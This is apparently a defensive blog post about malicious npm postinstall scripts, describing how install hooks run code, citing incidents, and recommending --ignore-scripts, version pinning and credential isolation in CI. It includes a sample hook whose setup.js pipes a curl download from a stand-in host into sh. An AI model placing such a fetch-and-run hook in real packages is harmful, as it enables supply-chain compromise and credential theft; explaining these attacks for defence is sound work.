0x55aa
Back to Blog

📦💣 The npm install That Owns Your Laptop: A Field Guide to Malicious Postinstall Scripts

|
5 min read

📦💣 The npm install That Owns Your Laptop: A Field Guide to Malicious Postinstall Scripts

Quick question: when was the last time you actually read a package's package.json before running npm install? Not the README. Not the GitHub stars. The scripts block.

If your answer is "never," you're in good company — and that's exactly the gap this whole category of attack lives in. Because npm install doesn't just copy files into node_modules. It also happily executes arbitrary code on your machine, before you've run a single line of your actual application. No sandbox, no prompt, no "this package wants permission to." Just silent execution, as a feature, by design.

The feature nobody reads the fine print on

npm packages support lifecycle hooks — preinstall, install, postinstall — that run automatically during installation. They exist for legitimate reasons: compiling native bindings, downloading a platform-specific binary, that kind of thing. node-sass needed one. fsevents needs one. This isn't some obscure edge case; it's load-bearing infrastructure for half the ecosystem.

{
  "name": "totally-innocent-utils",
  "version": "1.0.4",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

Looks fine. Could genuinely be fine. It could also be this:

// scripts/setup.js
const { exec } = require('child_process');
const os = require('os');

if (os.platform() !== 'win32') {
  exec('curl -s https://totally-legit-cdn.example/init.sh | sh');
}

That's it. That's the whole attack. One curl | sh tucked into a script that runs the moment npm install finishes, on every CI runner, every dev laptop, every production build image that pulls this dependency — transitively, three levels deep, in a package you never directly typed into package.json.

This isn't hypothetical color. It's the actual mechanism behind real incidents — event-stream in 2018 (a maintainer handed off a popular package to someone who added a payload targeting a specific crypto wallet), and a steady drumbeat of npm/PyPI packages since that use install hooks to grab environment variables, SSH keys, and cloud credentials off CI runners. The xz-utils backdoor in 2024 wasn't an install-script attack specifically, but it made the same point at a different layer: the build process itself is an attack surface people forget to threat-model.

Why this slips past everything else you've set up

Here's the uncomfortable part. You can have SBOMs, Dependabot, npm audit, Snyk, license scanners — a whole DevSecOps trophy case — and postinstall scripts still slip through, because most of that tooling is checking what a package is (known CVEs, license terms, version drift), not what a package does at install time. A brand-new malicious package, or a compromised maintainer account pushing a poisoned patch version, has no CVE yet. It's zero prior art. The scanner has nothing to match against.

And the blast radius during npm install is bigger than people assume — it runs with whatever permissions the invoking process has. On a dev laptop, that's your user account: your SSH keys, your ~/.aws/credentials, your shell history, your browser cookie store if the script wants to go looking. On a CI runner, it's often worse — that's where the long-lived deploy tokens and cloud credentials tend to sit, precisely because nobody expects npm install to be the thing that reads them.

At Cubet, we hit a much tamer version of this problem: a postinstall script for a UI library started phoning home to a telemetry endpoint we hadn't approved, discovered only because our egress firewall on the CI runners logged an unexpected outbound connection during a routine dependency bump. Nothing malicious in that case — just an aggressive analytics SDK — but it was a good scare. If a legitimate package can make an unreviewed network call during install without anyone noticing for weeks, so can a malicious one.

What actually helps

Disable lifecycle scripts by default, allowlist the exceptions.

npm install --ignore-scripts

Then explicitly npm rebuild <package> for the handful of dependencies that genuinely need native compilation. Yes, this breaks some installs the first time. That friction is the point — it forces you to notice which packages are asking for code execution and decide if you trust the reason.

Pin exact versions and review diffs on bumps, not just changelogs.

A ^1.2.3 range means "trust whatever gets published next," including a compromised patch release pushed from a stolen npm token. Lockfiles help, but only if you actually regenerate and review them instead of blindly accepting npm update.

Isolate CI install steps from CI credentials.

If your deploy secrets are injected as environment variables into the same job that runs npm ci, a malicious postinstall script can read them with process.env. Split the job: install and build in a step with no access to deploy credentials, inject secrets only in the deploy step that consumes the already-built artifact.

Run installs in a network-restricted sandbox where you can.

Tools like npm's script-ignoring flag combine well with an egress-restricted CI runner — even if a script executes, it can't exfiltrate anything if it can't reach the internet.

None of this is exotic. It's mostly "stop trusting install-time code execution by default," which is a smaller ask than it sounds once you've been burned once.

The honest takeaway

Supply chain security conversations tend to gravitate toward SBOMs and CVE databases — important, but they're inventory and vulnerability management, not runtime behavior control. Postinstall scripts are a reminder that the install step itself is untrusted code execution wearing a package manager's clothing. Treat it that way: --ignore-scripts by default, pin your versions, and don't let npm install sit in the same blast radius as your production credentials.


Got a postinstall horror story, or a --ignore-scripts workflow that's saved you grief? I'd genuinely like to hear it — find me on GitHub, Twitter/X, or LinkedIn. Stay suspicious of your node_modules.

Share:LinkedInXHacker News

Thanks for reading!

Back to all posts